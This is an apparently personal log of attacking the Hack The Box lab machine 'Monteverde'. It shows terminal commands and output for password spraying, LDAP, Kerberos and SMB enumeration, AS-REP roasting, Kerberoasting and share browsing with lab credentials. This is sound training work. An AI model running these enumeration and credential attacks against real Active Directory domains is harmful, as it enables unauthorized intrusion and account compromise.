/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:smorgan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:smorgan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:smorgan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\roleary:smorgan
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:smorgan
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ evil-winrm -i 10.129.228.111 -u SABatchJobs -p "SABatchJobs"
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
⇒winrmではログインできない。
ldap列挙
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
nxc ldap 10.129.228.111 -d MEGABANK.LOCAL -u SABatchJobs -p "SABatchJobs" --users
nxc ldap 10.129.228.111 -d MEGABANK.LOCAL -u SABatchJobs -p "SABatchJobs" --groups
nxc ldap 10.129.228.111 -d MEGABANK.LOCAL -u SABatchJobs -p "SABatchJobs" --bloodhound --collection All --dns-server 10.129.228.111
ldapdomaindump -u MEGABANK.LOCAL_FQDN\\SABatchJobs -p "SABatchJobs" 10.129.228.111 -o ldapdomaindump/
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ nxc ldap 10.129.228.111 -d MEGABANK.LOCAL -u SABatchJobs -p "SABatchJobs" --users
LDAP 10.129.228.111 389 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
LDAP 10.129.228.111 389 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
LDAP 10.129.228.111 389 MONTEVERDE [*] Enumerated 12 domain users: MEGABANK.LOCAL
LDAP 10.129.228.111 389 MONTEVERDE -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.228.111 389 MONTEVERDE Administrator 2020-01-03 07:18:38 0 Built-in account for administering the computer/domain
LDAP 10.129.228.111 389 MONTEVERDE Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.228.111 389 MONTEVERDE krbtgt 2020-01-03 07:06:03 0 Key Distribution Center Service Account
LDAP 10.129.228.111 389 MONTEVERDE AAD_987d7f2f57d2 2020-01-03 07:53:24 18 Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
LDAP 10.129.228.111 389 MONTEVERDE mhope 2020-01-03 08:40:05 18
LDAP 10.129.228.111 389 MONTEVERDE SABatchJobs 2020-01-03 21:48:46 0
LDAP 10.129.228.111 389 MONTEVERDE svc-ata 2020-01-03 21:58:31 18
LDAP 10.129.228.111 389 MONTEVERDE svc-bexec 2020-01-03 21:59:55 18
LDAP 10.129.228.111 389 MONTEVERDE svc-netapp 2020-01-03 22:01:42 18
LDAP 10.129.228.111 389 MONTEVERDE dgalanos 2020-01-03 22:06:10 18
LDAP 10.129.228.111 389 MONTEVERDE roleary 2020-01-03 22:08:05 18
LDAP 10.129.228.111 389 MONTEVERDE smorgan 2020-01-03 22:09:21 18
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ nxc ldap 10.129.228.111 -d MEGABANK.LOCAL -u SABatchJobs -p "SABatchJobs" --groups
LDAP 10.129.228.111 389 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
LDAP 10.129.228.111 389 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
LDAP 10.129.228.111 389 MONTEVERDE Administrators membercount: 3
LDAP 10.129.228.111 389 MONTEVERDE Users membercount: 4
LDAP 10.129.228.111 389 MONTEVERDE Guests membercount: 2
LDAP 10.129.228.111 389 MONTEVERDE Print Operators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Backup Operators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Replicator membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Remote Desktop Users membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Network Configuration Operators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Performance Monitor Users membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Performance Log Users membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Distributed COM Users membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE IIS_IUSRS membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Cryptographic Operators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Event Log Readers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Certificate Service DCOM Access membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE RDS Remote Access Servers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE RDS Endpoint Servers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE RDS Management Servers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Hyper-V Administrators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Access Control Assistance Operators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Remote Management Users membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Storage Replica Administrators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Domain Computers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Domain Controllers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Schema Admins membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Enterprise Admins membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Cert Publishers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Domain Admins membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Domain Users membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Domain Guests membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Group Policy Creator Owners membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE RAS and IAS Servers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Server Operators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Account Operators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Pre-Windows 2000 Compatible Access membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Incoming Forest Trust Builders membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Windows Authorization Access Group membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Terminal Server License Servers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Allowed RODC Password Replication Group membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Denied RODC Password Replication Group membercount: 8
LDAP 10.129.228.111 389 MONTEVERDE Read-only Domain Controllers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Enterprise Read-only Domain Controllers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Cloneable Domain Controllers membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Protected Users membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Key Admins membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Enterprise Key Admins membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE DnsAdmins membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE DnsUpdateProxy membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE SQLServer2005SQLBrowserUser$MONTEVERDE membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE ADSyncAdmins membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE ADSyncOperators membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE ADSyncBrowse membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE ADSyncPasswordSet membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Azure Admins membercount: 3
LDAP 10.129.228.111 389 MONTEVERDE File Server Admins membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Call Recording Admins membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Reception membercount: 0
LDAP 10.129.228.111 389 MONTEVERDE Operations membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Trading membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE HelpDesk membercount: 1
LDAP 10.129.228.111 389 MONTEVERDE Developers membercount: 0
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ nxc ldap 10.129.228.111 -d MEGABANK.LOCAL -u SABatchJobs -p "SABatchJobs" --bloodhound --collection All --dns-server 10.129.228.111
LDAP 10.129.228.111 389 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
LDAP 10.129.228.111 389 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
LDAP 10.129.228.111 389 MONTEVERDE Resolved collection methods: container, group, acl, localadmin, trusts, rdp, session, dcom, objectprops, psremote
LDAP 10.129.228.111 389 MONTEVERDE Done in 00M 18S
LDAP 10.129.228.111 389 MONTEVERDE Compressing output into /home/kali/.nxc/logs/MONTEVERDE_10.129.228.111_2026-07-19_212732_bloodhound.zip
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ ldapdomaindump -u MEGABANK.LOCAL_FQDN\\SABatchJobs -p "SABatchJobs" 10.129.228.111 -o ldapdomaindump/
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ mv -v /home/kali/.nxc/logs/MONTEVERDE_10.129.228.111_2026-07-19_212732_bloodhound.zip .
copied '/home/kali/.nxc/logs/MONTEVERDE_10.129.228.111_2026-07-19_212732_bloodhound.zip' -> './MONTEVERDE_10.129.228.111_2026-07-19_212732_bloodhound.zip'
removed '/home/kali/.nxc/logs/MONTEVERDE_10.129.228.111_2026-07-19_212732_bloodhound.zip'
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ open .
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
kerberose列挙
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-16 23:25:02Z)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-16 23:23:25Z)
464/tcp open kpasswd5?
kerbrute userenum -d MEGABANK.LOCAL users.txt --dc 10.129.228.111
impacket-GetNPUsers MEGABANK.LOCAL/ -usersfile users.txt -dc-ip 10.129.228.111 -no-pass -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ kerbrute userenum -d MEGABANK.LOCAL users.txt --dc 10.129.228.111
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 07/19/26 - Ronnie Flathers @ropnop
2026/07/19 21:32:35 > Using KDC(s):
2026/07/19 21:32:35 > 10.129.228.111:88
2026/07/19 21:32:35 > [+] VALID USERNAME: mhope@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: svc-bexec@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: roleary@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: svc-ata@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: smorgan@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: SABatchJobs@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: svc-netapp@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: dgalanos@MEGABANK.LOCAL
2026/07/19 21:32:35 > [+] VALID USERNAME: AAD_987d7f2f57d2@MEGABANK.LOCAL
2026/07/19 21:32:35 > Done! Tested 9 usernames (9 valid) in 0.094 seconds
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ impacket-GetNPUsers MEGABANK.LOCAL/ -usersfile users.txt -dc-ip 10.129.228.111 -no-pass -format hashcat -outputfile asrep.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ impacket-GetUserSPNs MEGABANK.LOCAL/SABatchJobs:"SABatchJobs" -dc-ip 10.129.228.111 -request -outputfile kerberoast.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
No entries found!
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
winrm列挙
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
⇒列挙なし
nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --users
nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --shares
nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --rid-brute
nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --pass-pol
smbclient //10.129.228.111/<SHARE> -U "SABatchJobs%SABatchJobs"
──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --users
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.228.111 445 MONTEVERDE Administrator 2020-01-02 22:18:38 0 Built-in account for administering the computer/domain
SMB 10.129.228.111 445 MONTEVERDE Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.228.111 445 MONTEVERDE krbtgt 2020-01-02 22:06:03 0 Key Distribution Center Service Account
SMB 10.129.228.111 445 MONTEVERDE AAD_987d7f2f57d2 2020-01-02 22:53:24 18 Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
SMB 10.129.228.111 445 MONTEVERDE mhope 2020-01-02 23:40:05 18
SMB 10.129.228.111 445 MONTEVERDE SABatchJobs 2020-01-03 12:48:46 0
SMB 10.129.228.111 445 MONTEVERDE svc-ata 2020-01-03 12:58:31 18
SMB 10.129.228.111 445 MONTEVERDE svc-bexec 2020-01-03 12:59:55 18
SMB 10.129.228.111 445 MONTEVERDE svc-netapp 2020-01-03 13:01:42 18
SMB 10.129.228.111 445 MONTEVERDE dgalanos 2020-01-03 13:06:10 18
SMB 10.129.228.111 445 MONTEVERDE roleary 2020-01-03 13:08:05 18
SMB 10.129.228.111 445 MONTEVERDE smorgan 2020-01-03 13:09:21 18
SMB 10.129.228.111 445 MONTEVERDE [*] Enumerated 12 local users: MEGABANK
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --shares
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE [*] Enumerated shares
SMB 10.129.228.111 445 MONTEVERDE Share Permissions Remark
SMB 10.129.228.111 445 MONTEVERDE ----- ----------- ------
SMB 10.129.228.111 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.129.228.111 445 MONTEVERDE azure_uploads READ
SMB 10.129.228.111 445 MONTEVERDE C$ Default share
SMB 10.129.228.111 445 MONTEVERDE E$ Default share
SMB 10.129.228.111 445 MONTEVERDE IPC$ READ Remote IPC
SMB 10.129.228.111 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE users$ READ
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --rid-brute
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE 498: MEGABANK\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 500: MEGABANK\Administrator (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 501: MEGABANK\Guest (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 502: MEGABANK\krbtgt (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 512: MEGABANK\Domain Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 513: MEGABANK\Domain Users (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 514: MEGABANK\Domain Guests (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 515: MEGABANK\Domain Computers (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 516: MEGABANK\Domain Controllers (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 517: MEGABANK\Cert Publishers (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 518: MEGABANK\Schema Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 519: MEGABANK\Enterprise Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 520: MEGABANK\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 521: MEGABANK\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 522: MEGABANK\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 525: MEGABANK\Protected Users (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 526: MEGABANK\Key Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 527: MEGABANK\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 553: MEGABANK\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 571: MEGABANK\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 572: MEGABANK\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 1000: MEGABANK\MONTEVERDE$ (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 1101: MEGABANK\DnsAdmins (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 1102: MEGABANK\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 1103: MEGABANK\SQLServer2005SQLBrowserUser$MONTEVERDE (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 1104: MEGABANK\AAD_987d7f2f57d2 (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 1105: MEGABANK\ADSyncAdmins (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 1106: MEGABANK\ADSyncOperators (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 1107: MEGABANK\ADSyncBrowse (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 1108: MEGABANK\ADSyncPasswordSet (SidTypeAlias)
SMB 10.129.228.111 445 MONTEVERDE 1601: MEGABANK\mhope (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 2601: MEGABANK\Azure Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2602: MEGABANK\SABatchJobs (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 2603: MEGABANK\svc-ata (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 2604: MEGABANK\svc-bexec (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 2605: MEGABANK\svc-netapp (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 2606: MEGABANK\File Server Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2607: MEGABANK\Call Recording Admins (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2608: MEGABANK\Reception (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2609: MEGABANK\Operations (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2610: MEGABANK\Trading (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2611: MEGABANK\HelpDesk (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2612: MEGABANK\Developers (SidTypeGroup)
SMB 10.129.228.111 445 MONTEVERDE 2613: MEGABANK\dgalanos (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 2614: MEGABANK\roleary (SidTypeUser)
SMB 10.129.228.111 445 MONTEVERDE 2615: MEGABANK\smorgan (SidTypeUser)
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ nxc smb 10.129.228.111 -u SABatchJobs -p "SABatchJobs" --pass-pol
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE [+] Dumping password info for domain: MEGABANK
SMB 10.129.228.111 445 MONTEVERDE Minimum password length: 7
SMB 10.129.228.111 445 MONTEVERDE Password history length: 24
SMB 10.129.228.111 445 MONTEVERDE Maximum password age: 41 days 23 hours 53 minutes
SMB 10.129.228.111 445 MONTEVERDE
SMB 10.129.228.111 445 MONTEVERDE Password Complexity Flags: 000000
SMB 10.129.228.111 445 MONTEVERDE Domain Refuse Password Change: 0
SMB 10.129.228.111 445 MONTEVERDE Domain Password Store Cleartext: 0
SMB 10.129.228.111 445 MONTEVERDE Domain Password Lockout Admins: 0
SMB 10.129.228.111 445 MONTEVERDE Domain Password No Clear Change: 0
SMB 10.129.228.111 445 MONTEVERDE Domain Password No Anon Change: 0
SMB 10.129.228.111 445 MONTEVERDE Domain Password Complex: 0
SMB 10.129.228.111 445 MONTEVERDE
SMB 10.129.228.111 445 MONTEVERDE Minimum password age: 1 day 4 minutes
SMB 10.129.228.111 445 MONTEVERDE Reset Account Lockout Counter: 30 minutes
SMB 10.129.228.111 445 MONTEVERDE Locked Account Duration: 30 minutes
SMB 10.129.228.111 445 MONTEVERDE Account Lockout Threshold: None
SMB 10.129.228.111 445 MONTEVERDE Forced Log off Time: Not Set
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
smbclient //10.129.228.111/<SHARE> -U "SABatchJobs%SABatchJobs"
SMB 10.129.228.111 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.129.228.111 445 MONTEVERDE azure_uploads READ
SMB 10.129.228.111 445 MONTEVERDE C$ Default share
SMB 10.129.228.111 445 MONTEVERDE E$ Default share
SMB 10.129.228.111 445 MONTEVERDE IPC$ READ Remote IPC
SMB 10.129.228.111 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE users$ READ
smbclient //10.129.228.111/ADMIN$ -U "SABatchJobs%SABatchJobs"
smbclient //10.129.228.111/azure_uploads -U "SABatchJobs%SABatchJobs"
smbclient //10.129.228.111/C$ -U "SABatchJobs%SABatchJobs"
smbclient //10.129.228.111/E$ -U "SABatchJobs%SABatchJobs"
smbclient //10.129.228.111/IPC$ -U "SABatchJobs%SABatchJobs"
smbclient //10.129.228.111/NETLOGON -U "SABatchJobs%SABatchJobs"
smbclient //10.129.228.111/SYSVOL -U "SABatchJobs%SABatchJobs"
smbclient //10.129.228.111/users$ -U "SABatchJobs%SABatchJobs"
recurse ON
ls
cd mhope
ls
get azure.xml
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/ADMIN$ -U "SABatchJobs%SABatchJobs"
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/azure_uploads -U "SABatchJobs%SABatchJobs"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 21:43:06 2020
.. D 0 Fri Jan 3 21:43:06 2020
31999 blocks of size 4096. 28979 blocks available
smb: \> exit
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ echo test > test.txt
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/azure_uploads -U "SABatchJobs%SABatchJobs"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 21:43:06 2020
.. D 0 Fri Jan 3 21:43:06 2020
p
31999 blocks of size 4096. 28979 blocks available
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \> exit
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/C$ -U "SABatchJobs%SABatchJobs"
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/E$ -U "SABatchJobs%SABatchJobs"
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/IPC$ -U "SABatchJobs%SABatchJobs"
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> put test.txt
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \test.txt
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/NETLOGON -U "SABatchJobs%SABatchJobs"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 07:05:14 2020
.. D 0 Fri Jan 3 07:05:14 2020
5024511 blocks of size 4096. 802628 blocks available
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \> exit
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/SYSVOL -U "SABatchJobs%SABatchJobs"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 07:05:14 2020
.. D 0 Fri Jan 3 07:05:14 2020
MEGABANK.LOCAL Dr 0 Fri Jan 3 07:05:14 2020
5024511 blocks of size 4096. 802628 blocks available
smb: \> recurse ON
smb: \> ls
. D 0 Fri Jan 3 07:05:14 2020
.. D 0 Fri Jan 3 07:05:14 2020
MEGABANK.LOCAL Dr 0 Fri Jan 3 07:05:14 2020
